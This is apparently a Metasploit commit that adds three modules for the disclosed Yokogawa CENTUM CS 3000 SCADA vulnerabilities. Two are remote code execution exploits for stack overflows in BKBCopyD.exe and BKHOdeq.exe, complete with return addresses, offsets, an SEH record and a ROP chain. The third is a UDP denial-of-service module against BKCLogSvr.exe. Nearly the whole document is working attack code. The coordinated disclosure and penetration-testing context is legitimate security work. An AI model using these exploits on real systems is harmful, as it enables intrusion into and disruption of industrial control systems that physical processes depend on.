Add 3 Yokogawa SCADA vulns
These represent our part for public disclosure of the issues listed here: http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf Yokogawa is calling these YSAR-14-0001E, and I think that they map thusly: YSAR-14-0001E Vulnerability 1 :: R7-2013-19.1 YSAR-14-0001E Vulnerability 2 :: R7-2013-19.3 YSAR-14-0001E Vulnerability 3 :: R7-2013-19.4 @jvazquez-r7 if you could confirm, I'd be delighted to land these and get your disclosure blog post published at: https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities Thanks for all the work on these!bug/bundler_fix
parent
e32ff7c775
commit
5485028501
|
@ -0,0 +1,105 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
|
||||
exists in the service BKBCopyD.exe when handling specially crafted packets. This module has
|
||||
been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'juan vazquez',
|
||||
'Julian Vilas <julian.vilas[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 373, # 500 for the full RETR argument
|
||||
'DisableNops' => true,
|
||||
'BadChars' => "\x00\x0d\x0a\xff",
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x6404625d, # push esp # ret # libBKBUtil.dll]
|
||||
'Offset' => 123
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 10 2014',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(20111)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
pkt = build_probe
|
||||
res = send_pkt(pkt)
|
||||
if valid_response?(res)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
data = "RETR "
|
||||
data << rand_text(target['Offset'])
|
||||
data << [target.ret].pack("V")
|
||||
data << payload.encoded
|
||||
data << "\n"
|
||||
|
||||
print_status("Trying target #{target.name}, sending #{data.length} bytes...")
|
||||
connect
|
||||
sock.put(data)
|
||||
disconnect
|
||||
end
|
||||
|
||||
def build_probe
|
||||
"#{rand_text_alpha(10)}\n"
|
||||
end
|
||||
|
||||
def send_pkt(data)
|
||||
connect
|
||||
sock.put(data)
|
||||
data = sock.get_once
|
||||
disconnect
|
||||
|
||||
return data
|
||||
end
|
||||
|
||||
def valid_response?(data)
|
||||
return false unless !!data
|
||||
return false unless data =~ /500 'yyparse error': command not understood/
|
||||
return true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,170 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
|
||||
exists in the service BKHOdeq.exe when handling specially crafted packets. This module has
|
||||
been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows
|
||||
2003 SP2.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'juan vazquez',
|
||||
'Julian Vilas <julian.vilas[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 6000,
|
||||
'DisableNops' => true,
|
||||
'BadChars' => ":\r\n"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',
|
||||
{
|
||||
'Ret' => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN
|
||||
'Offset' => 8660,
|
||||
'StackPivotAdjustment' => 108
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'WfsDelay' => 10
|
||||
},
|
||||
'DisclosureDate' => 'Mar 10 2014',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
# Required for EIP offset
|
||||
Opt::RPORT(20171)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
# It forces an huge allocation, which should fail,
|
||||
# and return back an error answer from the server
|
||||
# while parsing the packet header.
|
||||
pkt = build_pkt(0xffffffff)
|
||||
res = send_pkt(pkt)
|
||||
if valid_response?(res)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
my_payload = payload.encoded
|
||||
rop_chain = create_rop_chain
|
||||
|
||||
data = rand_text(target['StackPivotAdjustment'])
|
||||
data << rop_chain
|
||||
data << stack_adjust
|
||||
data << my_payload
|
||||
data << rand_text(target['Offset'] - data.length)
|
||||
data << generate_seh_record(target.ret)
|
||||
|
||||
pkt = build_pkt(data.length, data)
|
||||
|
||||
print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")
|
||||
connect
|
||||
sock.put(pkt)
|
||||
disconnect
|
||||
end
|
||||
|
||||
def build_pkt(data_length, data = "")
|
||||
header = rand_text(4) # iMark
|
||||
header << [data_length].pack("N") # Data length
|
||||
header << rand_text(4) # NumSet
|
||||
header << rand_text(2) # req
|
||||
header << rand_text(2) # Unknown
|
||||
|
||||
pkt = header + data
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
def send_pkt(data)
|
||||
connect
|
||||
sock.put(data)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def valid_response?(data)
|
||||
return false unless data
|
||||
return false unless data.length == 4
|
||||
return false unless result_code(data) == 0
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def result_code(data)
|
||||
data.unpack("N").first
|
||||
end
|
||||
|
||||
def stack_adjust
|
||||
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||||
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||||
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||||
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||||
|
||||
adjust
|
||||
end
|
||||
|
||||
def create_rop_chain
|
||||
# rop chain generated with mona.py - www.corelan.be
|
||||
rop_gadgets =
|
||||
[
|
||||
0x63b27a60, # RET # padding on XP SP3
|
||||
0x63b27a60, # RET # padding on XP SP3
|
||||
0x63b27a5f, # POP EAX # RETN [libbkhMsg.dll]
|
||||
0x61e761e0, # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]
|
||||
0x61e641e4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]
|
||||
0x00405522, # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]
|
||||
].flatten.pack("V*")
|
||||
rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr
|
||||
rop_gadgets << [
|
||||
0x61e62aa4, # POP EBP # RETN [LibBKCCommon.dll]
|
||||
0x61e648c0, # & push esp # ret [LibBKCCommon.dll]
|
||||
0x66f3243f, # POP EBX # RETN [libBKBEqrp.dll]
|
||||
0x00000001, # 0x00000001-> ebx
|
||||
0x61e729dd, # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]
|
||||
0x00001000, # 0x00001000-> edx
|
||||
0x63a93f6f, # POP ECX # RETN [libbkhopx.dll]
|
||||
0x00000040, # 0x00000040-> ecx
|
||||
0x63ad1f6a, # POP EDI # RETN [libbkhOdeq.dll]
|
||||
0x63dd3812, # RETN (ROP NOP) [libbkhCsSrch.dll]
|
||||
0x61e60b4c, # POP EAX # RETN [LibBKCCommon.dll]
|
||||
0x90909090, # nop
|
||||
0x63ae5cc3, # PUSHAD # RETN [libbkhOdbh.dll]
|
||||
].flatten.pack("V*")
|
||||
|
||||
rop_gadgets
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module abuses a buffer overflow vulnerability to trigger a Denial of Service
|
||||
of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability
|
||||
exists in the handling of malformed log packets, with an unexpected long level field.
|
||||
The root cause of the vulnerability is a combination of usage of uninitialized memory
|
||||
from the stack and a dangerous string copy. This module has been tested successfully
|
||||
on Yokogawa CENTUM CS 3000 R3.08.50.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'juan vazquez',
|
||||
'Julian Vilas <julian.vilas[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
|
||||
],
|
||||
'DisclosureDate' => 'Mar 10 2014',
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(52302),
|
||||
OptInt.new('RLIMIT', [true, "Number of packets to send", 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['RLIMIT'] < 2
|
||||
print_error("Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.")
|
||||
return
|
||||
end
|
||||
|
||||
# Crash due to read bad memory
|
||||
test = [1024].pack("V") # packet length
|
||||
test << "AAAA" # Unknown
|
||||
test << "SOURCE\x00\x00" # Source
|
||||
test << "\x00" * 8 # Padding
|
||||
test << "B" * (1024 - test.length) # Level & Message coalesced
|
||||
|
||||
connect_udp
|
||||
|
||||
# Sending two consecutives packages is enough to
|
||||
# trigger the overflow and cause the DoS. But if
|
||||
# legit packets are processed by the server, between
|
||||
# the two malformed packages, overflow won't happen.
|
||||
# Unfortunately because of the usage of UDP and the
|
||||
# absence of answer, there isn't a reliable way to
|
||||
# check if the DoS condition has been triggered.
|
||||
print_status("Sending #{datastore['RLIMIT']} packets...")
|
||||
(1..datastore['RLIMIT']).each do |i|
|
||||
vprint_status("Sending #{i}/#{datastore['RLIMIT']}...")
|
||||
udp_sock.put(test)
|
||||
end
|
||||
|
||||
disconnect_udp
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue